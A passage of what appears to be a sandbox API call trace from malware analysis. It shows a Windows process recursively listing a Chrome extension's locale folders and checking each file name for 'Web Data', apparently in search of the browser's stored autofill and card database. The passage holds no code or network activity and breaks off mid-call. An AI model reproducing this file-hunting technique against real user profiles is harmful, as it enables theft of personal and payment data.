IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca" [0056.127] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\*.*" [0056.127] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc7f8 [0056.128] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.128] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.128] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.128] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.128] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.128] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.128] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.128] FindClose (in: hFindFile=0x2dc7f8 | out: hFindFile=0x2dc7f8) returned 1 [0056.128] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.128] LocalFree (hMem=0x2dc5b8) returned 0x0 [0056.128] FindNextFileA (in: hFindFile=0x2cc890, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.128] lstrcmpiA (lpString1=".", lpString2="cs") returned -1 [0056.128] lstrcmpiA (lpString1="..", lpString2="cs") returned -1 [0056.128] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.128] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.128] lstrlenA (lpString="\\") returned 1 [0056.128] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc4a8 [0056.128] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.128] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.128] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.128] lstrlenA (lpString="cs") returned 2 [0056.128] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc5b8 [0056.128] lstrcpyA (in: lpString1=0x2dc5b8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.128] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="cs" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs" [0056.128] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.128] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs") returned 131 [0056.128] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs") returned 131 [0056.128] lstrlenA (lpString="\\*.*") returned 4 [0056.128] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc4a8 [0056.128] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs" [0056.129] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\*.*" [0056.129] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc7f8 [0056.129] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.129] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.129] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.129] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.129] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.129] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.129] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.129] FindClose (in: hFindFile=0x2dc7f8 | out: hFindFile=0x2dc7f8) returned 1 [0056.129] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.129] LocalFree (hMem=0x2dc5b8) returned 0x0 [0056.129] FindNextFileA (in: hFindFile=0x2cc890, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.129] lstrcmpiA (lpString1=".", lpString2="da") returned -1 [0056.129] lstrcmpiA (lpString1="..", lpString2="da") returned -1 [0056.129] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.129] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.129] lstrlenA (lpString="\\") returned 1 [0056.129] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc4a8 [0056.129] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.129] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.129] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.129] lstrlenA (lpString="da") returned 2 [0056.129] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc5b8 [0056.129] lstrcpyA (in: lpString1=0x2dc5b8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.129] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="da" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da" [0056.129] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.129] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da") returned 131 [0056.129] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da") returned 131 [0056.129] lstrlenA (lpString="\\*.*") returned 4 [0056.129] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc4a8 [0056.129] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da" [0056.129] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\*.*" [0056.129] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc7f8 [0056.129] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.129] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.129] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.129] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.130] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.130] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.130] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.130] FindClose (in: hFindFile=0x2dc7f8 | out: hFindFile=0x2dc7f8) returned 1 [0056.130] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.130] LocalFree (hMem=0x2dc5b8) returned 0x0 [0056.130] FindNextFileA (in: hFindFile=0x2cc890, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.130] lstrcmpiA (lpString1=".", lpString2="de") returned -1 [0056.130] lstrcmpiA (lpString1="..", lpString2="de") returned -1 [0056.130] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.130] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.130] lstrlenA (lpString="\\") returned 1 [0056.130] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc4a8 [0056.130] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.130] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.130] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.130] lstrlenA (lpString="de") returned 2 [0056.130] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc5b8 [0056.130] lstrcpyA (in: lpString1=0x2dc5b8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.130] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="de" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de" [0056.130] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.130] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de") returned 131 [0056.130] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de") returned 131 [0056.130] lstrlenA (lpString="\\*.*") returned 4 [0056.130] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc4a8 [0056.130] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de" [0056.130] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\*.*" [0056.130] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc7f8 [0056.130] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.130] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.130] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.130] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.130] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.130] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.130] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.130] FindClose (in: hFindFile=0x2dc7f8 | out: hFindFile=0x2dc7f8) returned 1 [0056.130] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.130] LocalFree (hMem=0x2dc5b8) returned 0x0 [0056.130] FindNextFileA (in: hFindFile=0x2cc890, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.130] lstrcmpiA (lpString1=".", lpString2="el") returned -1 [0056.130] lstrcmpiA (lpString1="..", lpString2="el") returned -1 [0056.130] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.130] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.130] lstrlenA (lpString="\\") returned 1 [0056.130] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc4a8 [0056.131] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.131] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.131] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.131] lstrlenA (lpString="el") returned 2 [0056.131] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc5b8 [0056.131] lstrcpyA (in: lpString1=0x2dc5b8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.131] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="el" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el" [0056.131] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.131] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el") returned 131 [0056.131] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el") returned 131 [0056.131] lstrlenA (lpString="\\*.*") returned 4 [0056.131] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc4a8 [0056.131] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el" [0056.131] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\*.*" [0056.131] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 